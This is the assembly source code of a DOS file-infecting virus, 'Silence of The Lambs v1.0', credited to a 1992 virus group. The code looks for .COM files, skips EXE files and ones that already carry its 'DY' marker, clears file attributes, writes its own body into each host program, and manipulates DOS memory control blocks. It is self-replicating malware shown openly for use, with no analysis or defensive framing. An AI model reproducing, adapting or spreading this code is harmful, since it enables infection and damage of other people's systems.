; Silence of The Lambs v1.0 ; (c) The Chronomancer of Demoralized Youth 1992 ; ; First version : Thursday 27th of Febuary - 01:50 CET. ; org 100h jmp short dummy1 db 'DY' dummy1: mov cx,(100h-80h)/2 ;save command line on stack mov si,80h save_parm: push [si] inc si inc si loop save_parm mov ah,4Eh xor cx,cx mov dx,offset file int 21h jc nomore again: cmp byte [9Eh],0FAh jae more call infect more: mov ah,4Fh int 21h jnc again nomore: mov cx,(100h-80h)/2 mov si,0FEh rest_parm: pop [si] dec si dec si loop rest_parm mov bx,0000h eof equ $-2 jmp bx file db '*.COM',0 infect: mov bx,cs mov si,cs dec si mov ds,si cmp byte[0],'Z' je ok_mark jmp back2 ok_mark: sub word [0003h],pgfsize jnc ok_mark2 jmp back ok_mark2: mov ax,[0012h] sub ax,pgfsize push ax mov ds,bx mov ax,4301h xor cx,cx mov dx,80h+1Eh int 21h mov ax,3D02h int 21h xchg bx,ax pop ds push ds mov cx,total xor dx,dx mov ah,3Fh int 21h cmp byte [0],'M' ;exe ? je close cmp byte [0],'Z' ;exe ? je close cmp word [2],'YD' ;allready infected? je close xor cx,cx xor dx,dx push cx push dx mov ax,4202h int 21h add ax,total+100h mov cs:word [00FEh],ax mov ah,40h mov cx,total xor dx,dx int 21h push cs pop ds mov ah,40h mov cx,applen mov dx,offset append int 21h mov ax,4200h pop dx pop cx int 21h push [eof] mov ax,word [00FEh] mov [eof],ax mov ah,40h mov dx,100h mov cx,total int 21h pop [eof] close: mov ah,3Eh int 21h back: pop ds ;(mov ds,si) add word [0003h],pgfsize back2: push cs pop ds ret append: call $+3 pop si sub si,3+total mov di,100h mov cx,total rep movsb mov ax,100h push ax ret applen equ $-offset append total equ $-100h ;size pgfsize equ ($-100h)/16+2 ;paragraphs needed